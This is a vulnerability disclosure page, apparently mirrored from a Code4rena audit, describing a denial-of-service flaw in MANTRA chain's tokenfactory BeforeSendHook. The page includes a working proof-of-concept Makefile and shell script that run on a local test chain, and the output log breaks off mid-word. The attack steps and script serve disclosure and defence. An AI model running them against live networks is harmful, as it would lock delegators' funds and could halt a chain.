BlockBeforeSend hook can be exploited to perform a denial of service
A token creator can set a BeforeSendHook to an invalid address, causing all transfers of that token to fail. If such tokens are injected into staking rewards, delegators cannot unbond or withdraw rewards, and a chain halt may occur during slashing.
OakSecurity Follow with gxh191, p0wd3r and 1 other
Originally disclosed on Code4rena
Submitted by OakSecurity, also found by gxh191, p0wd3r, and Egis_Security
Finding description and impact
The MsgSetBeforeSendHook in the tokenfactory module allows the token creator to set a BeforeSendHook tied to a CosmWasm contract address, which implements a custom logic from the Sudo handler that determines whether the transfer should succeed.
The issue is that a malicious token creator can force transfers to fail by simply setting the contract address to an invalid address (e.g., an externally owned account). If these tokens are intended to be transferred during important operations (e.g., staking hooks or ABCI phases), they will fail, and depending on the calling context, a denial of service issue may occur.
We have identified two impacts that can be triggered by the attacker.
-
The attacker can force delegators’ staked funds and rewards to be stuck and cannot be withdrawn. This scenario is demonstrated in the POC section below.
- The attacker creates a tokenfactory denom.
- The attacker mints some tokens for themselves.
- The attacker sends the minted tokens to a validator with
MsgDepositValidatorRewardsPool. This will cause the validator and delegators’ pending rewards to include the tokens. - The attacker calls
MsgSetBeforeSendHookand sets the hook address to an invalid address. - At this point, all staking actions will now fail. Delegators cannot unbond their tokens and cannot withdraw their rewards, causing their bonded funds to be stuck.
- The logic behind this is that all staking actions must call the
BeforeDelegationSharesModifiedhook to distribute the pending rewards before updating the bonded amount in order to compute the rewards correctly. However, since the rewards cannot be transferred due to the malicious hook, theBeforeDelegationSharesModifiedhook will fail, preventing the staking actions from succeeding.
-
The attacker can trigger a chain halt by performing a redelegation from a misbehaved validator. This attack is similar to the above, weaponizing the impact of
BeforeDelegationSharesModifiedhook failure but achieving a higher impact by forcefully causing theBeginBlockerto panic, ultimately halting the chain.-
The attacker creates a tokenfactory denom.
-
The attacker mints some tokens for themselves.
-
The attacker sends the minted tokens to a validator with
MsgDepositValidatorRewardsPool. This will cause the validator and delegators’ pending rewards to include the tokens. -
The validator misbehaves (e.g., downtime/double-signing) and will be slashed in the next few blocks.
-
One of the delegators performs a redelegation with
MsgBeginRedelegateand redelegates their tokens to other validators. This is considered a normal action when delegators prefer to bond their tokens to other validators. https://github.com/MANTRA-Chain/cosmos-sdk/blob/cfc36838ae32a2772d86bafa0cb192125f0ffbaf/x/staking/keeper/msg_server.go#L316 -
The attacker calls
MsgSetBeforeSendHookand sets the hook address to an invalid address. -
The automatic slashing mechanism will be initiated from the
BeginBlockerto slash the validator for a percentage amount of bonded funds (recall that they misbehaved previously). -
The slashing mechanism will also slash the delegator who redelegated their funds to another validator. This is intended because the delegation contributed to the validator’s bonded tokens when they misbehaved. https://github.com/MANTRA-Chain/cosmos-sdk/blob/cfc36838ae32a2772d86bafa0cb192125f0ffbaf/x/staking/keeper/slash.go#L130-L141
-
Slashing redelegations works by forcefully unbond some tokens from the destination validator. However, since the
Unbondfunction calls theBeforeDelegationSharesModifiedhook and the reward tokens cannot be transferred, an error will be returned and propagated back to theBeginBlocker. This triggers a chain halt when the ABCI receives an error from the chain, causing a denial of service.The flow works as
BeginBlock -> x/evidence, x/slashing BeginBlocker -> handleEquivocationEvidence/HandleValidatorSignature -> SlashWithInfractionReason -> Slash -> SlashRedelegation -> Unbond -> BeforeDelegationSharesModified -> withdrawDelegationRewards -> error.
-
Proof of Concept
The following proof of concept demonstrates the first impact identified above, where bonded tokens and rewards cannot be withdrawn.
-
Add the following contents to
Makefile.poc: build @echo "starting POC.." # clear port 26657 if old process still running @if lsof -i :26657; then \ kill -9 $$(lsof -t -i :26657) || echo "cannot kill process"; \ fi # remove old setup and init new one @rm -rf .mantrapoc @mkdir -p .mantrapoc ./build/mantrachaind init poc-test --chain-id test-chain --home .mantrapoc ./build/mantrachaind keys add validator --keyring-backend test --home .mantrapoc ./build/mantrachaind keys add validator2 --keyring-backend test --home .mantrapoc # create alice and bob account ./build/mantrachaind keys add alice --keyring-backend test --home .mantrapoc ./build/mantrachaind keys add bob --keyring-backend test --home .mantrapoc ./build/mantrachaind genesis add-genesis-account $$(./build/mantrachaind keys show validator -a --keyring-backend test --home .mantrapoc) 500000000000stake --home .mantrapoc ./build/mantrachaind genesis add-genesis-account $$(./build/mantrachaind keys show validator2 -a --keyring-backend test --home .mantrapoc) 500000000000stake --home .mantrapoc ./build/mantrachaind genesis add-genesis-account $$(./build/mantrachaind keys show alice -a --keyring-backend test --home .mantrapoc) 500000000000stake --home .mantrapoc ./build/mantrachaind genesis add-genesis-account $$(./build/mantrachaind keys show bob -a --keyring-backend test --home .mantrapoc) 500000000000stake --home .mantrapoc ./build/mantrachaind genesis gentx validator 100000000stake --chain-id test-chain --keyring-backend test --home .mantrapoc # ./build/mantrachaind genesis gentx validator2 100000000stake --chain-id test-chain --keyring-backend test --home .mantrapoc ./build/mantrachaind genesis collect-gentxs --home .mantrapoc # start node ./build/mantrachaind start --home .mantrapoc --minimum-gas-prices 0stake -
Create the
poc.shfile.export ALICE=`mantrachaind keys show alice --keyring-backend test --home .mantrapoc -a` export BOB=`mantrachaind keys show bob --keyring-backend test --home .mantrapoc -a` export VAL_BECH32=`mantrachaind keys show validator --keyring-backend test --home .mantrapoc -a` # export VAL2_BECH32=`mantrachaind keys show validator2 --keyring-backend test --home .mantrapoc -a` export VAL=$(mantrachaind q staking validators --output json | jq -r '.validators[0].operator_address') echo "alice create x/tokenfactory denom" mantrachaind tx tokenfactory create-denom foo --from alice --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto sleep 2 export DENOM=`echo "factory/$ALICE/foo"` echo "alice mint some tokens" mantrachaind tx tokenfactory mint 10000$DENOM --from alice --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto sleep 2 # double check tokens minted mantrachaind q bank balance $ALICE $DENOM echo "bob delegate funds to validator" mantrachaind tx staking delegate $VAL 100000000stake --from bob --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto sleep 2 # double check delegation succeeded mantrachaind q staking delegation $BOB $VAL echo "alice fund the minted tokens to validator rewards pool" mantrachaind tx distribution fund-validator-rewards-pool $VAL 10000$DENOM --from alice --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto sleep 2 echo "alice sets before send hook to dummy address, forcing all transfers to fail" mantrachaind tx tokenfactory set-before-send-hook $DENOM $ALICE --from alice --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto sleep 2 echo "Wait some time for injected rewards to accrue for delegators" echo "validator rewards:" mantrachaind q distribution rewards $VAL_BECH32 echo "delegator rewards:" mantrachaind q distribution rewards $BOB # validators and delegators should be able to claim rewards, however it fails due to BlockBeforeSend hook # rpc error: code = Unknown desc = rpc error: code = Unknown desc = failed to execute message; message index: 0: failed to call before send hook for denom factory/mantra1k3uf5anqxefvuck455jgzasaagwpkt5483zv4m/foo: address mantra1k3uf5anqxefvuck455jgzasaagwpkt5483zv4m: no such contract [CosmWasm/[email protected]/x/wasm/types/errors.go:156] with gas used: '135697': unknown request echo "==========================================================" echo " validator tries to withdraw rewards" echo "==========================================================" mantrachaind tx distribution withdraw-all-rewards --from validator --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto sleep 2 echo "==========================================================" echo " delegator tries to withdraw rewards" echo "==========================================================" mantrachaind tx distribution withdraw-all-rewards --from bob --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto sleep 2 echo "==========================================================" echo " delegator tries to delegate more tokens" echo "==========================================================" mantrachaind tx staking delegate $VAL 10stake --from bob --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto sleep 2 echo "==========================================================" echo " delegator tries to unbond" echo "==========================================================" mantrachaind tx staking unbond $VAL 10stake --from bob --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto sleep 2 echo "==========================================================" echo " delegator tries to redelegate" echo "==========================================================" echo '{"pubkey": {"@type":"/cosmos.crypto.ed25519.PubKey","key":"oWg2ISpLF405Jcm2vXV+2v4fnjodh6aafuIdeoW+rUw="},"amount": "1000000stake","moniker": "myvalidator","identity": "optional identity signature (ex. UPort or Keybase)","website": "validator'\''s (optional) website","security": "validator'\''s (optional) security contact email","details": "validator'\''s (optional) details","commission-rate": "0.1","commission-max-rate": "0.2","commission-max-change-rate": "0.01","min-self-delegation": "1"}' > validator.json TX_RESPONSE=$(mantrachaind tx staking create-validator ./validator.json --from validator2 --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto --output json) sleep 2 # echo $TX_RESPONSE TX_HASH=$(echo "$TX_RESPONSE" | jq -r '.txhash') # echo $TX_HASH # parse validator address VAL2=$(mantrachaind q tx $TX_HASH --output json | jq -r '.events[] | select(.type=="create_validator") | .attributes[] | select(.key=="validator") | .value') mantrachaind tx staking redelegate $VAL $VAL2 10stake --from bob --keyring-backend test --home .mantrapoc --chain-id test-chain -y --fees 1000000stake --gas auto sleep 2 # a chain halt could occur if the validator is slashed while having a redelegation, as the error is returned back to ABCI # BeginBlock -> x/evidence, x/slashing BeginBlocker -> handleEquivocationEvidence/HandleValidatorSignature -> SlashWithInfractionReason -> Slash -> SlashRedelegation -> Unbond -> BeforeDelegationSharesModified -> withdrawDelegationRewards -> error -
Open a shell instance and run the following command.
make poc -
In another shell instance, run the following command:
chmod +x poc.sh ./poc.sh -
Observe the output where staking actions fails.
alice create x/tokenfactory denom gas estimate: 155494 code: 0 codespace: "" data: "" events: [] gas_used: "0" gas_wanted: "0" height: "0" info: "" logs: [] raw_log: "" timestamp: "" tx: null txhash: 803FFBA576135F329AB7D61CB84636B544A89C5BEEED8A777C86534217D20511 alice mint some tokens gas estimate: 260500 code: 0 codespace: "" data: "" events: [] gas_used: "0" gas_wanted: "0" height: "0" info: "" logs: [] raw_log: "" timestamp: "" tx: null txhash: F2746BE8EC59FAFBC5A2E8AFF1538200988F479B6B213CC959FA213BC61C81BC balance: amount: "10000" denom: factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo bob delegate funds to validator gas estimate: 196518 code: 0 codespace: "" data: "" events: [] gas_used: "0" gas_wanted: "0" height: "0" info: "" logs: [] raw_log: "" timestamp: "" tx: null txhash: 78B32508B698DC344268F737349A582FB3BB5D206A10BAA3E30536844AFBE4F5 delegation_response: balance: amount: "100000000" denom: stake delegation: delegator_address: mantra1stkh5gpmqr4v7ajf8kpc4wxplaadlf6nw32deq shares: "100000000000000000000000000" validator_address: mantravaloper1l4ha0zehlm3ade8330409wzchcp3jqgkyweqev alice fund the minted tokens to validator rewards pool gas estimate: 147609 code: 0 codespace: "" data: "" events: [] gas_used: "0" gas_wanted: "0" height: "0" info: "" logs: [] raw_log: "" timestamp: "" tx: null txhash: 95B7C05BD63DF596AD72975551E3E1780681B77F71C9B903E018FDAFED090A2E alice sets before send hook to dummy address, forcing all transfers to fail gas estimate: 111630 code: 0 codespace: "" data: "" events: [] gas_used: "0" gas_wanted: "0" height: "0" info: "" logs: [] raw_log: "" timestamp: "" tx: null txhash: 605D69A91B5BCADBCB649FD8F4CF12D870FDA75C4D9807927C20582ACBD77D64 Wait some time for injected rewards to accrue for delegators validator rewards: rewards: - reward: - 4500.000000000000000000factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo - 697611.726000000000000000stake validator_address: mantravaloper1l4ha0zehlm3ade8330409wzchcp3jqgkyweqev total: - 4500.000000000000000000factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo - 697611.726000000000000000stake delegator rewards: rewards: - reward: - 4500.000000000000000000factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo - 21800.394000000000000000stake validator_address: mantravaloper1l4ha0zehlm3ade8330409wzchcp3jqgkyweqev total: - 4500.000000000000000000factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo - 21800.394000000000000000stake ========================================================== validator tries to withdraw rewards ========================================================== Usage: mantrachaind tx distribution withdraw-all-rewards [flags] Flags: -a, --account-number uint The account number of the signing account (offline mode only) --aux Generate aux signer data instead of sending a tx -b, --broadcast-mode string Transaction broadcasting mode (sync|async) (default "sync") --chain-id string The network chain ID --dry-run ignore the --gas flag and perform a simulation of a transaction, but don't broadcast it (when enabled, the local Keybase is not accessible) --fee-granter string Fee granter grants fees for the transaction --fee-payer string Fee payer pays fees for the transaction instead of deducting from the signer --fees string Fees to pay along with transaction; eg: 10uatom --from string Name or address of private key with which to sign --gas string gas limit to set per-transaction; set to "auto" to calculate sufficient gas automatically. Note: "auto" option doesn't always report accurate results. Set a valid coin value to adjust the result. Can be used instead of "fees". (default 200000) --gas-adjustment float adjustment factor to be multiplied against the estimate returned by the tx simulation; if the gas limit is set manually this flag is ignored (default 1) --gas-prices string Gas prices in decimal format to determine the transaction fee (e.g. 0.1uatom) --generate-only Build an unsigned transaction and write it to STDOUT (when enabled, the local Keybase only accessed when providing a key name) -h, --help help for withdraw-all-rewards --keyring-backend string Select keyring's backend (os|file|kwallet|pass|test|memory) (default "os") --keyring-dir string The client Keyring directory; if omitted, the default 'home' directory will be used --ledger Use a connected Ledger device --max-msgs int Limit the number of messages per tx (0 for unlimited) --node string <host>:<port> to CometBFT rpc interface for this chain (default "tcp://localhost:26657") --note string Note to add a description to the transaction (previously --memo) --offline Offline mode (does not allow any online functionality) -o, --output string Output format (text|json) (default "json") -s, --sequence uint The sequence number of the signing account (offline mode only) --sign-mode string Choose sign mode (direct|amino-json|direct-aux|textual), this is an advanced feature --timeout-height uint Set a block timeout height to prevent the tx from being committed past a certain height --tip string Tip is the amount that is going to be transferred to the fee payer on the target chain. This flag is only valid when used with --aux, and is ignored if the target chain didn't enable the TipDecorator -y, --yes Skip tx broadcasting prompt confirmation Global Flags: --home string directory for config and data (default "/Users/suyu/.mantrachain") --log_format string The logging format (json|plain) (default "plain") --log_level string The logging level (trace|debug|info|warn|error|fatal|panic|disabled or '*:<level>,<key>:<level>') (default "info") --log_no_color Disable colored logs --trace print out full stack trace on errors rpc error: code = Unknown desc = rpc error: code = Unknown desc = failed to execute message; message index: 0: failed to call before send hook for denom factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo: address mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0: no such contract [CosmWasm/[email protected]/x/wasm/types/errors.go:156] with gas used: '133333': unknown request ========================================================== delegator tries to withdraw rewards ========================================================== Usage: mantrachaind tx distribution withdraw-all-rewards [flags] Flags: -a, --account-number uint The account number of the signing account (offline mode only) --aux Generate aux signer data instead of sending a tx -b, --broadcast-mode string Transaction broadcasting mode (sync|async) (default "sync") --chain-id string The network chain ID --dry-run ignore the --gas flag and perform a simulation of a transaction, but don't broadcast it (when enabled, the local Keybase is not accessible) --fee-granter string Fee granter grants fees for the transaction --fee-payer string Fee payer pays fees for the transaction instead of deducting from the signer --fees string Fees to pay along with transaction; eg: 10uatom --from string Name or address of private key with which to sign --gas string gas limit to set per-transaction; set to "auto" to calculate sufficient gas automatically. Note: "auto" option doesn't always report accurate results. Set a valid coin value to adjust the result. Can be used instead of "fees". (default 200000) --gas-adjustment float adjustment factor to be multiplied against the estimate returned by the tx simulation; if the gas limit is set manually this flag is ignored (default 1) --gas-prices string Gas prices in decimal format to determine the transaction fee (e.g. 0.1uatom) --generate-only Build an unsigned transaction and write it to STDOUT (when enabled, the local Keybase only accessed when providing a key name) -h, --help help for withdraw-all-rewards --keyring-backend string Select keyring's backend (os|file|kwallet|pass|test|memory) (default "os") --keyring-dir string The client Keyring directory; if omitted, the default 'home' directory will be used --ledger Use a connected Ledger device --max-msgs int Limit the number of messages per tx (0 for unlimited) --node string <host>:<port> to CometBFT rpc interface for this chain (default "tcp://localhost:26657") --note string Note to add a description to the transaction (previously --memo) --offline Offline mode (does not allow any online functionality) -o, --output string Output format (text|json) (default "json") -s, --sequence uint The sequence number of the signing account (offline mode only) --sign-mode string Choose sign mode (direct|amino-json|direct-aux|textual), this is an advanced feature --timeout-height uint Set a block timeout height to prevent the tx from being committed past a certain height --tip string Tip is the amount that is going to be transferred to the fee payer on the target chain. This flag is only valid when used with --aux, and is ignored if the target chain didn't enable the TipDecorator -y, --yes Skip tx broadcasting prompt confirmation Global Flags: --home string directory for config and data (default "/Users/suyu/.mantrachain") --log_format string The logging format (json|plain) (default "plain") --log_level string The logging level (trace|debug|info|warn|error|fatal|panic|disabled or '*:<level>,<key>:<level>') (default "info") --log_no_color Disable colored logs --trace print out full stack trace on errors rpc error: code = Unknown desc = rpc error: code = Unknown desc = failed to execute message; message index: 0: failed to call before send hook for denom factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo: address mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0: no such contract [CosmWasm/[email protected]/x/wasm/types/errors.go:156] with gas used: '133528': unknown request ========================================================== delegator tries to delegate more tokens ========================================================== Usage: mantrachaind tx staking delegate [validator-addr] [amount] [flags] Flags: -a, --account-number uint The account number of the signing account (offline mode only) --aux Generate aux signer data instead of sending a tx -b, --broadcast-mode string Transaction broadcasting mode (sync|async) (default "sync") --chain-id string The network chain ID --dry-run ignore the --gas flag and perform a simulation of a transaction, but don't broadcast it (when enabled, the local Keybase is not accessible) --fee-granter string Fee granter grants fees for the transaction --fee-payer string Fee payer pays fees for the transaction instead of deducting from the signer --fees string Fees to pay along with transaction; eg: 10uatom --from string Name or address of private key with which to sign --gas string gas limit to set per-transaction; set to "auto" to calculate sufficient gas automatically. Note: "auto" option doesn't always report accurate results. Set a valid coin value to adjust the result. Can be used instead of "fees". (default 200000) --gas-adjustment float adjustment factor to be multiplied against the estimate returned by the tx simulation; if the gas limit is set manually this flag is ignored (default 1) --gas-prices string Gas prices in decimal format to determine the transaction fee (e.g. 0.1uatom) --generate-only Build an unsigned transaction and write it to STDOUT (when enabled, the local Keybase only accessed when providing a key name) -h, --help help for delegate --keyring-backend string Select keyring's backend (os|file|kwallet|pass|test|memory) (default "os") --keyring-dir string The client Keyring directory; if omitted, the default 'home' directory will be used --ledger Use a connected Ledger device --node string <host>:<port> to CometBFT rpc interface for this chain (default "tcp://localhost:26657") --note string Note to add a description to the transaction (previously --memo) --offline Offline mode (does not allow any online functionality) -o, --output string Output format (text|json) (default "json") -s, --sequence uint The sequence number of the signing account (offline mode only) --sign-mode string Choose sign mode (direct|amino-json|direct-aux|textual), this is an advanced feature --timeout-height uint Set a block timeout height to prevent the tx from being committed past a certain height --tip string Tip is the amount that is going to be transferred to the fee payer on the target chain. This flag is only valid when used with --aux, and is ignored if the target chain didn't enable the TipDecorator -y, --yes Skip tx broadcasting prompt confirmation Global Flags: --home string directory for config and data (default "/Users/suyu/.mantrachain") --log_format string The logging format (json|plain) (default "plain") --log_level string The logging level (trace|debug|info|warn|error|fatal|panic|disabled or '*:<level>,<key>:<level>') (default "info") --log_no_color Disable colored logs --trace print out full stack trace on errors rpc error: code = Unknown desc = rpc error: code = Unknown desc = failed to execute message; message index: 0: failed to call before send hook for denom factory/mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0/foo: address mantra1tmn9c0p4wt0lhucp5ujswfgdpxkt22vregkxm0: no such contract [CosmWasm/[email protected]/x/wasm/types/errors.go:156] with gas used: '137889': unknown request ========================================================== delegator tries to u
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
Delegators' staked funds and rewards can become stuck, and a chain halt may occur if a validator is slashed while a redelegation exists.
What the attacker needed
Ability to create a tokenfactory denom; ability to mint tokens; ability to set a BeforeSendHook
How it was found
- Create a tokenfactory denom and mint tokens.
- Send the minted tokens to a validator's rewards pool.
- Set the BeforeSendHook to an invalid address.
- Attempt to withdraw rewards, delegate, unbond, or redelegate; these actions fail.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A token creator can attach a rule that runs before every transfer. They can point that rule at an address that is not a real contract, so every transfer fails. If those tokens end up in staking rewards, people cannot move their staked funds or collect rewards, and the chain can even stop.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.